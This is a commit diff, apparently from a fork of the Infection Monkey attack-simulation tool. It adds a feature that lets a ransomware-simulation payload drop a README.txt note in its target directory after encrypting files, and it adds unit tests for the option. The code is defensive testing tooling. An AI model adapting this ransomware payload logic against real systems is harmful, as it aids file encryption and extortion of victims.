forked from p15670423/monkey
Agent: Leave a README.txt in ransomware target dir if it's configured
This commit is contained in:
parent
23b85acdfc
commit
b312c11f44
|
@ -1,4 +1,5 @@
|
||||||
import logging
|
import logging
|
||||||
|
import shutil
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import List, Optional, Tuple
|
from typing import List, Optional, Tuple
|
||||||
|
|
||||||
|
@ -14,6 +15,9 @@ LOG = logging.getLogger(__name__)
|
||||||
EXTENSION = ".m0nk3y"
|
EXTENSION = ".m0nk3y"
|
||||||
CHUNK_SIZE = 4096 * 24
|
CHUNK_SIZE = 4096 * 24
|
||||||
|
|
||||||
|
README_SRC = Path(__file__).parent / "ransomware_readme.txt"
|
||||||
|
README_DEST = "README.txt"
|
||||||
|
|
||||||
|
|
||||||
class RansomewarePayload:
|
class RansomewarePayload:
|
||||||
def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger):
|
def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger):
|
||||||
|
@ -29,6 +33,9 @@ class RansomewarePayload:
|
||||||
else target_directories["linux_dir"]
|
else target_directories["linux_dir"]
|
||||||
)
|
)
|
||||||
|
|
||||||
|
self._readme_enabled = config["other_behaviors"]["readme"]
|
||||||
|
LOG.info(f"README enabled: {self._readme_enabled}")
|
||||||
|
|
||||||
self._new_file_extension = EXTENSION
|
self._new_file_extension = EXTENSION
|
||||||
self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy()
|
self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy()
|
||||||
self._valid_file_extensions_for_encryption.discard(self._new_file_extension)
|
self._valid_file_extensions_for_encryption.discard(self._new_file_extension)
|
||||||
|
@ -39,6 +46,7 @@ class RansomewarePayload:
|
||||||
def run_payload(self):
|
def run_payload(self):
|
||||||
file_list = self._find_files()
|
file_list = self._find_files()
|
||||||
self._encrypt_files(file_list)
|
self._encrypt_files(file_list)
|
||||||
|
self._leave_readme()
|
||||||
|
|
||||||
def _find_files(self) -> List[Path]:
|
def _find_files(self) -> List[Path]:
|
||||||
if not self._target_dir:
|
if not self._target_dir:
|
||||||
|
@ -67,3 +75,10 @@ class RansomewarePayload:
|
||||||
def _send_telemetry(self, filepath: Path, error: str):
|
def _send_telemetry(self, filepath: Path, error: str):
|
||||||
encryption_attempt = RansomwareTelem((str(filepath), str(error)))
|
encryption_attempt = RansomwareTelem((str(filepath), str(error)))
|
||||||
self._telemetry_messenger.send_telemetry(encryption_attempt)
|
self._telemetry_messenger.send_telemetry(encryption_attempt)
|
||||||
|
|
||||||
|
def _leave_readme(self):
|
||||||
|
if self._readme_enabled:
|
||||||
|
try:
|
||||||
|
shutil.copyfile(README_SRC, Path(self._target_dir) / README_DEST)
|
||||||
|
except Exception as ex:
|
||||||
|
LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}")
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
import os
|
import os
|
||||||
from pathlib import PurePath
|
from pathlib import Path, PurePath
|
||||||
|
|
||||||
import pytest
|
import pytest
|
||||||
from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
|
from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
|
||||||
|
@ -22,7 +22,11 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import
|
||||||
from tests.utils import hash_file, is_user_admin
|
from tests.utils import hash_file, is_user_admin
|
||||||
|
|
||||||
from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module
|
from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module
|
||||||
from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload
|
from infection_monkey.ransomware.ransomware_payload import (
|
||||||
|
EXTENSION,
|
||||||
|
README_DEST,
|
||||||
|
RansomewarePayload,
|
||||||
|
)
|
||||||
from infection_monkey.telemetry.i_telem import ITelem
|
from infection_monkey.telemetry.i_telem import ITelem
|
||||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
|
||||||
|
@ -42,7 +46,8 @@ def with_extension(filename):
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def ransomware_payload_config(ransomware_target):
|
def ransomware_payload_config(ransomware_target):
|
||||||
return {
|
return {
|
||||||
"directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)}
|
"directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)},
|
||||||
|
"other_behaviors": {"readme": False},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -166,3 +171,19 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_
|
||||||
|
|
||||||
assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0]
|
assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0]
|
||||||
assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][1]
|
assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][1]
|
||||||
|
|
||||||
|
|
||||||
|
def test_readme_false(ransomware_payload_config, ransomware_target, telemetry_messenger_spy):
|
||||||
|
ransomware_payload_config["other_behaviors"]["readme"] = False
|
||||||
|
ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy)
|
||||||
|
|
||||||
|
ransomware_payload.run_payload()
|
||||||
|
assert not Path(ransomware_target / README_DEST).exists()
|
||||||
|
|
||||||
|
|
||||||
|
def test_readme_true(ransomware_payload_config, ransomware_target, telemetry_messenger_spy):
|
||||||
|
ransomware_payload_config["other_behaviors"]["readme"] = True
|
||||||
|
ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy)
|
||||||
|
|
||||||
|
ransomware_payload.run_payload()
|
||||||
|
assert Path(ransomware_target / README_DEST).exists()
|
||||||
|
|
Loading…
Reference in New Issue